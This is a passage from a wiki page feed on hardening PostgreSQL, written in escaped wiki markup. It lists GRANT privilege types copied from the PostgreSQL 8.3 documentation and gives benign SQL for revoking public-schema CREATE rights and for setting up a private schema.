| Option&amp;lt;br&amp;gt; &lt;br /&gt;
| Value&amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| SELECT&amp;lt;br&amp;gt; &lt;br /&gt;
| Allows SELECT from any column of the specified table, view, or sequence. Also allows the use of COPY TO. This privilege is also needed to reference existing column values in UPDATE or DELETE. For sequences, this privilege also allows the use of the currval function. &amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| INSERT&amp;lt;br&amp;gt; &lt;br /&gt;
| Allows INSERT of a new row into the specified table. Also allows COPY FROM. &amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| UPDATE&amp;lt;br&amp;gt; &lt;br /&gt;
| Allows UPDATE of any column of the specified table. (In practice, any nontrivial UPDATE command will require SELECT privilege as well, since it must reference table columns to determine which rows to update, and/or to compute new values for columns.) SELECT ... FOR UPDATE and SELECT ... FOR SHARE also require this privilege, in addition to the SELECT privilege. For sequences, this privilege allows the use of the nextval and setval functions. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| DELETE&amp;lt;br&amp;gt; &lt;br /&gt;
| Allows DELETE of a row from the specified table. (In practice, any nontrivial DELETE command will require SELECT privilege as well, since it must reference table columns to determine which rows to delete.) &amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| REFERENCES&amp;lt;br&amp;gt; &lt;br /&gt;
| To create a foreign key constraint, it is necessary to have this privilege on both the referencing and referenced tables. &amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| TRIGGER&amp;lt;br&amp;gt; &lt;br /&gt;
| Allows the creation of a trigger on the specified table. (See the CREATE TRIGGER statement.) &amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| CREATE&amp;lt;br&amp;gt; &lt;br /&gt;
| For databases, allows new schemas to be created within the database. &lt;br /&gt;
For schemas, allows new objects to be created within the schema. To rename an existing object, you must own the object and have this privilege for the containing schema. &lt;br /&gt;
&lt;br /&gt;
For tablespaces, allows tables, indexes, and temporary files to be created within the tablespace, and allows databases to be created that have the tablespace as their default tablespace. (Note that revoking this privilege will not alter the placement of existing objects.) &amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| CONNECT&amp;lt;br&amp;gt; &lt;br /&gt;
| Allows the user to connect to the specified database. This privilege is checked at connection startup (in addition to checking any restrictions imposed by pg_hba.conf). &amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| TEMPORARY&amp;lt;br&amp;gt;TEMP&amp;lt;br&amp;gt; &lt;br /&gt;
| Allows temporary tables to be created while using the specified database. &amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| EXECUTE&amp;lt;br&amp;gt; &lt;br /&gt;
| Allows the use of the specified function and the use of any operators that are implemented on top of the function. This is the only type of privilege that is applicable to functions. (This syntax works for aggregate functions, as well.)&amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| USAGE&amp;lt;br&amp;gt; &lt;br /&gt;
| For procedural languages, allows the use of the specified language for the creation of functions in that language. This is the only type of privilege that is applicable to procedural languages. &lt;br /&gt;
For schemas, allows access to objects contained in the specified schema (assuming that the objects' own privilege requirements are also met). Essentially this allows the grantee to &amp;quot;look up&amp;quot; objects within the schema. Without this permission, it is still possible to see the object names, e.g. by querying the system tables. Also, after revoking this permission, existing backends might have statements that have previously performed this lookup, so this is not a completely secure way to prevent object access. &lt;br /&gt;
&lt;br /&gt;
For sequences, this privilege allows the use of the currval and nextval functions. &amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| ALL PRIVILEGES&amp;lt;br&amp;gt; &lt;br /&gt;
| Grant all of the available privileges at once. The PRIVILEGES key word is optional in PostgreSQL, though it is required by strict SQL. &amp;lt;br&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
http://www.postgresql.org/docs/8.3/interactive/sql-grant.html&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
== Removing the default &amp;quot;public&amp;quot; schema&amp;lt;br&amp;gt;  ==&lt;br /&gt;
&lt;br /&gt;
By default PostgresSQL use a public schema used for store information about the databases, tables, procedures. This schema by default is accessible by all users, so all users can see every tables structure or procedures.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== Removing the public schema&amp;lt;br&amp;gt;  ===&lt;br /&gt;
&lt;br /&gt;
Removing the public schema from all users.&amp;lt;br&amp;gt; &lt;br /&gt;
&amp;lt;pre&amp;gt;REVOKE CREATE ON SCHEMA public FROM PUBLIC;&amp;lt;/pre&amp;gt; &lt;br /&gt;
=== Creating a new protected schema&amp;lt;br&amp;gt;  ===&lt;br /&gt;
&amp;lt;pre&amp;gt;CREATE SCHEMA myschema AUTHORIZATION [username];&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
=== Modify search_path of the user&amp;lt;br&amp;gt;  ===&lt;br /&gt;
&amp;lt;pre&amp;gt;SET search_path TO myschema,public;&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
In this way the database structure will be stored on a private schema and the access will be guaranteed only to the right user.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
http://www.postgresql.org/docs/8.3/interactive/ddl-schemas.html&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
== Limiting file access to filesystem and system routines&amp;lt;br&amp;gt;  ==&lt;br /&gt;
&lt;br /&gt;
By default PostrgreSQL deny to all users to access filesystem and system routines, only superuser are allowed to do that.&lt;br /&gt;
&lt;br /&gt;
= &amp;lt;br&amp;gt;References &amp;lt;br&amp;gt;  =&lt;br /&gt;
&lt;br /&gt;
PostgreSQL documentation can be found at http://www.postgresql.org/docs/&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	</feed>